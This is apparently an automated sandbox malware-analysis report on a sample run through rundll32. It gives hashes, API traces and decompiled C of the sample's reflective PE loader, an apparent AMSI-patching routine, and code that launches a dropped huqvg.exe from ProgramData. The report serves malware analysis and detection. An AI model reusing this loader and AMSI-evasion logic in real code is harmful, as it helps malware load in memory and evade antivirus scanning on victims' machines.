Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 679c9a96f3d01741ba3ebbaf6e4025e178be5c83910cbde4d3330e53e7c11d76
Instruction ID: c9b11e111a3e81f0828c55445e76c55a93c59c89b547f4447c525b341864c8d4
Opcode Fuzzy Hash: 679c9a96f3d01741ba3ebbaf6e4025e178be5c83910cbde4d3330e53e7c11d76
Instruction Fuzzy Hash: 73D09E7891520CFBCB14DEA4D648659BBB8E708261F504594E80993204E6319A809A91

Uniqueness

Uniqueness Score: -1.00%

Function 011919F0, Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,01191A51,00003000,00000004,000000BE,?,01191A51,?), ref: 01191A01

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7633e0b11875ad5d9d2df7cc0010fd67d10b4eb24327e3986778f7d27c9c9e51
Instruction ID: 4fd525a886778c85d3a7cf1853bc9729b520255f810b3e593404ecbb3ee3ac9b
Opcode Fuzzy Hash: 7633e0b11875ad5d9d2df7cc0010fd67d10b4eb24327e3986778f7d27c9c9e51
Instruction Fuzzy Hash: 26D0C9B4645208BBE714CA94D846F69BBACE704611F004195FE189B280D5B1AE0057A1

Uniqueness

Uniqueness Score: -1.00%

Function 011A1140, Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011A1140(void* __ecx, long _a4) {
				void* _v8;
				void* _t5;

				_t5 = VirtualAlloc(0, _a4, 0x3000, 4); // executed
				_v8 = _t5;
				return _v8;
			}

0x011a1151
0x011a1157
0x011a1160

APIs

VirtualAlloc.KERNELBASE(00000000,011A11A1,00003000,00000004,00000004,?,011A11A1,?), ref: 011A1151

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3fe5196feb6f0d953bb858480843c70bce040ba5e8b863552bd6fefa9bf6b174
Instruction ID: 9ce70d81ed5c668be03ddeb6cea70194006fdf53b0b0118a91aa25f1371df8e9
Opcode Fuzzy Hash: 3fe5196feb6f0d953bb858480843c70bce040ba5e8b863552bd6fefa9bf6b174
Instruction Fuzzy Hash: 37D0C974685208BBE714CA84D906F6ABBACE705621F000194FE089B280D5B16E404791

Uniqueness

Uniqueness Score: -1.00%

Function 01191820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0119182F

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 62f9285bef2325c35d0dc24c126c83aad8196966beda75f00a1a33c3225fab14
Instruction ID: 0a58ee752a182983cfb2e292605dbe4e09d12b58adef5c6337f40b590c2acdb1
Opcode Fuzzy Hash: 62f9285bef2325c35d0dc24c126c83aad8196966beda75f00a1a33c3225fab14
Instruction Fuzzy Hash: D2C04C7611430CAB8B04DF98E884DAB37ADBB8C610B048518BA2D87204C630F9508BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011914A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 011914DB
SetLastError.KERNEL32(0000007F), ref: 01191507

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8c671ad3eae21bfc91b3cb7d8db54a713391db761be32aa3e5a718700843a6d8
Instruction ID: 9df4b697dabffaec33f06140dadb89ae984587a27d57077572bbf7271aa4032f
Opcode Fuzzy Hash: 8c671ad3eae21bfc91b3cb7d8db54a713391db761be32aa3e5a718700843a6d8
Instruction Fuzzy Hash: 3571F874E0410AEFDF08DF98C580AADB7B2FF48314F2585A9D426AB345D774EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033712B0, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E033712B0() {
				signed int _v8;
				void _v40;
				void* _v52;
				void* _v56;
				char _v124;
				int _t23;
				void* _t32;
				void* _t37;
				signed int _t40;

				_v8 =  *0x3373004 ^ _t40;
				 *0x3373028( &_v124, 0, 0x44, _t32, _t37);
				 *0x3373028( &_v56, 0, 0x10);
				_v124 = 0x44;
				memcpy( &_v40, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				 *0x3373018( &_v40, 0, 0, 0, 0, 0, 0, "C:\\",  &_v124,  &_v56);
				CloseHandle(_v56);
				_t23 = CloseHandle(_v52);
				E03371A04();
				return _t23;
			}

0x033712bd
0x033712ca
0x033712db
0x033712e4
0x033712f8
0x033712fa
0x033712fc
0x0337131a
0x03371324
0x0337132e
0x0337133b
0x03371343

APIs

CloseHandle.KERNEL32(?), ref: 03371324
CloseHandle.KERNEL32(?), ref: 0337132E

Strings

C:\ProgramData\huqvg\huqvg.exe, xrefs: 033712F0
C:\, xrefs: 03371305
C:\ProgramData\huqvg\huqvg.exe, xrefs: 033712C0
D, xrefs: 033712E4

Memory Dump Source

Source File: 00000004.00000002.668060924.0000000003371000.00000020.00000001.sdmp, Offset: 03370000, based on PE: true

Associated: 00000004.00000002.668050457.0000000003370000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3370000_rundll32.jbxd

Similarity

API ID: CloseHandle
String ID: C:\$C:\ProgramData\huqvg\huqvg.exe$C:\ProgramData\huqvg\huqvg.exe$D
API String ID: 2962429428-1049507935
Opcode ID: a4e178ee757a2f70ef1c9caa7f7ffd2a301432a7184d3a01622f91254f3ae2df
Instruction ID: 745b257f61b8dc21c771f2c56a794413d85d38c2b5ccd4e89f3248e15bd08d1f
Opcode Fuzzy Hash: a4e178ee757a2f70ef1c9caa7f7ffd2a301432a7184d3a01622f91254f3ae2df
Instruction Fuzzy Hash: 57019675D0020CBBDB20EBA4D885FDE777CEB48714F100418FA06E7180D6796A08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 011925E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(01194070,00000000,00000800), ref: 011925F9
GetProcAddress.KERNEL32(00000000,01194078), ref: 01192615
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 01192650
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 01192671

Strings

AMSI, xrefs: 0119263C

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 0a1e017d85acd35c0a213467bb4b99a5810af9a10b66434bdda044c6f594fd33
Instruction ID: 6b9472d915c679446c7b4e3548a0c43313d5bd4fe87905d0f6acadcf213b6425
Opcode Fuzzy Hash: 0a1e017d85acd35c0a213467bb4b99a5810af9a10b66434bdda044c6f594fd33
Instruction Fuzzy Hash: 79111CB4E00209EFCF18CFA4C845BAEBBB4FB48304F104559EA21A7740D7B46A44CB95

Uniqueness

Uniqueness Score: -1.00%

Function 01154466, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?), ref: 011544DA
GetProcAddress.KERNEL32(?), ref: 011544E4

Strings

dll, xrefs: 01154476
D, xrefs: 0115449A

Memory Dump Source

Source File: 00000004.00000002.667384317.0000000001150000.00000040.00000001.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1150000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: D$dll
API String ID: 190572456-2257804249
Opcode ID: d6a5440daa4b5954b40f572194cbb49577153b61c06ced8391ffe2c57ab3dd00
Instruction ID: f007086256638abddeb451a1a60bdff3b54dbf4b07678141c600e07904521921
Opcode Fuzzy Hash: d6a5440daa4b5954b40f572194cbb49577153b61c06ced8391ffe2c57ab3dd00
Instruction Fuzzy Hash: 32018071900218BBEB14EBA4CC99FDF7B7DEB48704F104018FB05A7185DB756A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 011A1FA0, Relevance: 6.4, APIs: 5, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011A1FA0(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				signed short* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* _t82;
				void* _t124;

				_v40 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v12 =  *_t3;
				_v16 = 0;
				_v32 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v12 +  *_v32;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0xffff) != 0) {
							_v24 = _v12 +  *((intOrPtr*)(_v8 + 0x20));
							_v28 = _v12 +  *((intOrPtr*)(_v8 + 0x24));
							_v36 = 0;
							_v20 = 0;
							while(_v20 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t82 = E011A11E0(_a8, _v12 +  *_v24);
								_t124 = _t124 + 8;
								if(_t82 != 0) {
									_v20 = _v20 + 1;
									_v24 = _v24 + 4;
									_v28 =  &(_v28[1]);
									continue;
								}
								_v16 =  *_v28 & 0x0000ffff;
								_v36 = 1;
								break;
							}
							if(_v36 != 0) {
								L17:
								if(_v16 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v12 +  *((intOrPtr*)(_v12 +  *((intOrPtr*)(_v8 + 0x1c)) + _v16 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v16 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

0x011a1fa6
0x011a1fac
0x011a1faf
0x011a1fb2
0x011a1fca
0x011a1fd4
0x011a1fed
0x011a1ff7
0x011a2004
0x00000000
0x011a2011
0x011a2021
0x011a2069
0x011a2075
0x011a2078
0x011a207f
0x011a20a3
0x011a20bb
0x011a20c0
0x011a20c5
0x011a208e
0x011a2097
0x011a20a0
0x00000000
0x011a20a0
0x011a20cd
0x011a20d0
0x00000000
0x011a20d0
0x011a20df
0x011a20ed
0x011a20f6
0x00000000
0x011a2113
0x011a20fa
0x00000000
0x011a2100
0x011a20e3
0x00000000
0x011a20e9
0x011a2035
0x011a2058
0x00000000
0x011a2058
0x011a2039
0x00000000
0x011a203f
0x011a1ff7
0x011a1fd8
0x00000000

APIs

SetLastError.KERNEL32(0000007F,?,?,?,?,011A1039,00000000), ref: 011A1FD8
SetLastError.KERNEL32(0000007F,?,?,?,?,011A1039,00000000), ref: 011A2004

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 6741611c03d16aed724bf62292b3ee609197003f0bc6652615da6ca554eba72b
Instruction ID: b03fb9f53368d53efd25a205f2353de15fcac0aab5effb489e41af65989d82a1
Opcode Fuzzy Hash: 6741611c03d16aed724bf62292b3ee609197003f0bc6652615da6ca554eba72b
Instruction Fuzzy Hash: 6B510A78A44209DFDB18CF98C581BAEBBB2FF48304F608169D515AB381D735EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01154266, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Part of subcall function 011547F6: atoi.MSVCRT ref: 011548F0
Part of subcall function 011547F6: _initterm.MSVCRT ref: 01154905

DisableThreadLibraryCalls.KERNEL32(00003A98), ref: 0115431C

Strings

EL32.dll, xrefs: 0115427D
dll, xrefs: 0115428C

Memory Dump Source

Source File: 00000004.00000002.667384317.0000000001150000.00000040.00000001.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1150000_rundll32.jbxd

Similarity

API ID: CallsDisableLibraryThread_inittermatoi
String ID: EL32.dll$dll
API String ID: 2582834166-3514254202
Opcode ID: 3677c87e7301b03a0ea7938c50ba3f2ac51d1810227c807ec84151f250858ddc
Instruction ID: 515b4ee2c2b815b99ef32150bd52cffd402948b6a128caea1f714444ffd3dcfe
Opcode Fuzzy Hash: 3677c87e7301b03a0ea7938c50ba3f2ac51d1810227c807ec84151f250858ddc
Instruction Fuzzy Hash: CD21D871E00118EBEB08DBE8CC95ADFBB79FF44304F144028E905AB244E775AA56C791

Uniqueness

Uniqueness Score: -1.00%

Function 01192430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 01192468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 011924B2

Strings

@, xrefs: 01192453

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7f799b2d57aad6568a717478484aebfc33a01759fd265d7bdc1f4fde80dd93f2
Instruction ID: f6450f969693f3d4302ed4300911c14711678e9393437e9f1e3b694b26e3c691
Opcode Fuzzy Hash: 7f799b2d57aad6568a717478484aebfc33a01759fd265d7bdc1f4fde80dd93f2
Instruction Fuzzy Hash: B521E8B4A04209FFDF18CF98C980BADBBB5BF44304F248199D925AB245C774AB80DB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5752 Parent PID: 7088 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	41%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	282
Total number of Limit Nodes:	17

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01181030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(01184054,01184040), ref: 01181047
GetProcAddress.KERNEL32(00000000), ref: 0118104E

Part of subcall function 01181B30: SetLastError.KERNEL32(0000000D,?,01181070,?,00000040), ref: 01181B3D

SetLastError.KERNEL32(000000C1), ref: 01181096

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: bc7fecdde333443b587c1bc15acf54aaa0c8361fd18ddd9da41475fe1ac0b0b6
Instruction ID: e5b58642e1bfa95848f5ec43f5a5df693ed3134dc2ffa1a10c09974a08779cbb
Opcode Fuzzy Hash: bc7fecdde333443b587c1bc15acf54aaa0c8361fd18ddd9da41475fe1ac0b0b6
Instruction Fuzzy Hash: 0AF1D9B5A00209EFDB08DF98D994AAEB7B1FF48304F208558E915AB341D775EE42CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011B11A0, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011B11A0() {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				void* _t32;
				void* _t40;

				_v8 = LoadLibraryA("msvcrt.dll");
				_v12 = LoadLibraryA("kernel32.dll");
				 *0x11b3010 = GetProcAddress(_v8, "realloc");
				 *0x11b3020 = GetProcAddress(_v8, "exit");
				 *0x11b3024 = GetProcAddress(_v8, "strncmp");
				 *0x11b3008 = GetProcAddress(_v8, "free");
				 *0x11b300c = GetProcAddress(_v8, "malloc");
				 *0x11b3014 = GetProcAddress(_v12, "CreateDirectoryA");
				 *0x11b3018 = GetProcAddress(_v12, "CreateProcessA");
				 *0x11b301c = GetProcAddress(_v12, "DeleteFileA");
				 *0x11b3028 = GetProcAddress(_v8, "memset");
				 *0x11b3030 = GetProcAddress(_v8, "memcpy");
				 *0x11b302c = GetProcAddress(_v8, "strstr"); // executed
				E011B1040(); // executed
				_t32 = E011B10B0(_t40); // executed
				return _t32;
			}

0x011b11b1
0x011b11bf
0x011b11d1
0x011b11e5
0x011b11f9
0x011b120d
0x011b1221
0x011b1235
0x011b1249
0x011b125d
0x011b1271
0x011b1285
0x011b1299
0x011b129e
0x011b12a3
0x011b12ab

APIs

LoadLibraryA.KERNEL32(msvcrt.dll), ref: 011B11AB
LoadLibraryA.KERNEL32(kernel32.dll), ref: 011B11B9
GetProcAddress.KERNEL32(00000001,realloc), ref: 011B11CB
GetProcAddress.KERNEL32(00000001,exit), ref: 011B11DF
GetProcAddress.KERNEL32(00000001,strncmp), ref: 011B11F3
GetProcAddress.KERNEL32(00000001,free), ref: 011B1207
GetProcAddress.KERNEL32(00000001,malloc), ref: 011B121B
GetProcAddress.KERNEL32(?,CreateDirectoryA), ref: 011B122F
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 011B1243
GetProcAddress.KERNEL32(?,DeleteFileA), ref: 011B1257
GetProcAddress.KERNEL32(00000001,memset), ref: 011B126B
GetProcAddress.KERNEL32(00000001,memcpy), ref: 011B127F
GetProcAddress.KERNEL32(00000001,strstr), ref: 011B1293

Part of subcall function 011B1040: CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,011B12A3), ref: 011B108A

Part of subcall function 011B10B0: Sleep.KERNEL32(00003A98), ref: 011B1166

Strings

kernel32.dll, xrefs: 011B11B4
memcpy, xrefs: 011B1276
free, xrefs: 011B11FE
strstr, xrefs: 011B128A
realloc, xrefs: 011B11C2
exit, xrefs: 011B11D6
DeleteFileA, xrefs: 011B124E
msvcrt.dll, xrefs: 011B11A6
strncmp, xrefs: 011B11EA
CreateProcessA, xrefs: 011B123A
memset, xrefs: 011B1262
CreateDirectoryA, xrefs: 011B1226
malloc, xrefs: 011B1212

Memory Dump Source

Source File: 0000000A.00000002.703509486.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000A.00000002.703497080.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_11b0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CreateDirectorySleep
String ID: CreateDirectoryA$CreateProcessA$DeleteFileA$exit$free$kernel32.dll$malloc$memcpy$memset$msvcrt.dll$realloc$strncmp$strstr
API String ID: 2158191583-3107153655
Opcode ID: e1c7a0048707f8ab3940969266d7ec65be425d58be735c8baeec0068421cb345
Instruction ID: cac8be6125ccedb07fccc3ab99c45f468b5b45ec2eeacaec7818c7329323f8e4
Opcode Fuzzy Hash: e1c7a0048707f8ab3940969266d7ec65be425d58be735c8baeec0068421cb345
Instruction Fuzzy Hash: 8621D4B8950304FFC73CDFA2D9C99AD7B76FB486017100969FD3196204D7746998EB60

Uniqueness

Uniqueness Score: -1.00%

Function 01191B50, Relevance: 22.8, APIs: 15, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E01191B50(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				intOrPtr* _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v100;
				char _v104;
				void* _t184;
				void* _t195;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t223;
				intOrPtr _t320;

				_v20 = __ecx;
				_v8 = 0;
				_v40 = 0;
				if(E01191270(_v20, _a8, 0x40) != 0) {
					_v28 = _a4;
					if(( *_v28 & 0x0000ffff) == 0x5a4d) {
						if(E01191270(_v20, _a8, _v28[0x1e] + 0xf8) != 0) {
							_v12 = _a4 + _v28[0x1e];
							if( *_v12 == 0x4550) {
								_t19 = _v12 + 4; // 0x3
								if(( *_t19 & 0x0000ffff) == 0x14c) {
									_t21 = _v12 + 0x38; // 0x0
									if(( *_t21 & 0x00000001) == 0) {
										_t23 = _v12 + 0x14; // 0x0
										_t26 = ( *_t23 & 0x0000ffff) + 0x18; // 0x1194018
										_v24 = _v12 + _t26;
										_t29 = _v12 + 0x38; // 0x0
										_v60 =  *_t29;
										_v32 = 0;
										while(1) {
											_t37 = _v12 + 6; // 0x40000
											if(_v32 >= ( *_t37 & 0x0000ffff)) {
												break;
											}
											if( *((intOrPtr*)(_v24 + 0x10)) != 0) {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) +  *((intOrPtr*)(_v24 + 0x10));
											} else {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) + _v60;
											}
											if(_v36 > _v40) {
												_v40 = _v36;
											}
											_v32 = _v32 + 1;
											_v24 = _v24 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v104); // executed
										_t56 = _v12 + 0x50; // 0x70207369
										_t59 = _v100 - 1; // 0x70207368
										_v44 =  *_t56 + _t59 &  !(_v100 - 1);
										_t65 = _v100 - 1; // -1
										if(_v44 == (_v40 + _t65 &  !(_v100 - 1))) {
											_t70 = _v12 + 0x34; // 0x0
											_t184 = VirtualAlloc( *_t70, _v44, 0x3000, 4); // executed
											_v16 = _t184;
											if(_v16 != 0) {
												L26:
												_v8 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v8 != 0) {
													 *((intOrPtr*)(_v8 + 4)) = _v16;
													_t83 = _v12 + 0x16; // 0x400000
													if(( *_t83 & 0x2000) == 0) {
														_v48 = 0;
													} else {
														_v48 = 1;
													}
													 *(_v8 + 0x14) = _v48;
													 *((intOrPtr*)(_v8 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v8 + 0x20)) = _a16;
													 *((intOrPtr*)(_v8 + 0x24)) = _a20;
													 *((intOrPtr*)(_v8 + 0x28)) = _a24;
													 *((intOrPtr*)(_v8 + 0x30)) = _v100;
													_t105 = _v12 + 0x54; // 0x72676f72
													if(E01191270(_v20, _a8,  *_t105) != 0) {
														_t109 = _v12 + 0x54; // 0x72676f72
														_t195 = VirtualAlloc(_v16,  *_t109, 0x1000, 4); // executed
														_v52 = _t195;
														_t113 = _v12 + 0x54; // 0x72676f72
														E011910D0(_v52, _v28,  *_t113);
														 *_v8 = _v52 + _v28[0x1e];
														 *((intOrPtr*)( *_v8 + 0x34)) = _v16;
														_t202 = E011912A0(_v20, _a4, _a8, _v12, _v8); // executed
														if(_t202 != 0) {
															_t131 = _v12 + 0x34; // 0x0
															_t320 =  *((intOrPtr*)( *_v8 + 0x34)) -  *_t131;
															_v56 = _t320;
															if(_t320 == 0) {
																 *((intOrPtr*)(_v8 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v8 + 0x18)) = E011917B0(_v20, _v8, _v56);
															}
															_t205 = E011918C0(_v20, _v8); // executed
															if(_t205 != 0) {
																_t206 = E011915B0(_v20, _v8); // executed
																if(_t206 != 0) {
																	if(E01191730(_v20, _v8) != 0) {
																		if( *((intOrPtr*)( *_v8 + 0x28)) == 0) {
																			 *(_v8 + 0x2c) = 0;
																			L52:
																			return _v8;
																		}
																		if( *(_v8 + 0x14) == 0) {
																			 *(_v8 + 0x2c) = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																			L50:
																			goto L52;
																		}
																		_v64 = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																		_v68 = _v64(_v16, 1, 0);
																		if(_v68 != 0) {
																			 *((intOrPtr*)(_v8 + 0x10)) = 1;
																			goto L50;
																		}
																		SetLastError(0x45a);
																		goto L53;
																	}
																	goto L53;
																}
																goto L53;
															}
															goto L53;
														}
														goto L53;
													} else {
														L53:
														E01192120(_v20, _v8);
														return 0;
													}
												}
												VirtualFree(_v16, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t223 = VirtualAlloc(0, _v44, 0x3000, 4); // executed
											_v16 = _t223;
											if(_v16 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x01191b56
0x01191b59
0x01191b60
0x01191b77
0x01191b83
0x01191b91
0x01191bc0
0x01191bd2
0x01191bde
0x01191bf5
0x01191bff
0x01191c16
0x01191c1c
0x01191c33
0x01191c3a
0x01191c3e
0x01191c44
0x01191c47
0x01191c4a
0x01191c65
0x01191c68
0x01191c6f
0x00000000
0x00000000
0x01191c78
0x01191c94
0x01191c7a
0x01191c83
0x01191c83
0x01191c9d
0x01191ca2
0x01191ca2
0x01191c59
0x01191c62
0x01191c62
0x01191cab
0x01191cb4
0x01191cba
0x01191cc8
0x01191cd1
0x01191ce2
0x01191d04
0x01191d08
0x01191d0e
0x01191d15
0x01191d42
0x01191d53
0x01191d5a
0x01191d82
0x01191d88
0x01191d92
0x01191d9d
0x01191d94
0x01191d94
0x01191d94
0x01191daa
0x01191db3
0x01191dbc
0x01191dc5
0x01191dce
0x01191dd7
0x01191ddd
0x01191def
0x01191e05
0x01191e0d
0x01191e13
0x01191e19
0x01191e25
0x01191e39
0x01191e43
0x01191e59
0x01191e60
0x01191e77
0x01191e77
0x01191e7a
0x01191e7d
0x01191e9a
0x01191e7f
0x01191e92
0x01191e92
0x01191ea8
0x01191eaf
0x01191ec2
0x01191ec9
0x01191ee3
0x01191ef2
0x01191f50
0x01191f57
0x00000000
0x01191f57
0x01191efb
0x01191f48
0x01191f4b
0x00000000
0x01191f4b
0x01191f08
0x01191f16
0x01191f1d
0x01191f31
0x00000000
0x01191f31
0x01191f24
0x00000000
0x01191f24
0x00000000
0x01191ee5
0x00000000
0x01191ecb
0x00000000
0x01191eb1
0x00000000
0x01191df1
0x01191f5c
0x01191f63
0x00000000
0x01191f68
0x01191def
0x01191d67
0x01191d6f
0x00000000
0x01191d75
0x01191d24
0x01191d2a
0x01191d31
0x00000000
0x00000000
0x01191d35
0x00000000
0x01191d3b
0x01191ce9
0x00000000
0x01191cef
0x01191c23
0x00000000
0x01191c29
0x01191c06
0x00000000
0x01191c0c
0x01191be5
0x00000000
0x01191beb
0x00000000
0x01191bc2
0x01191b98
0x00000000
0x01191b9e
0x00000000

APIs

Part of subcall function 01191270: SetLastError.KERNEL32(0000000D,?,?,01191B75,01191025,00000040), ref: 01191281

SetLastError.KERNEL32(000000C1,01191025,00000040), ref: 01191B98

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
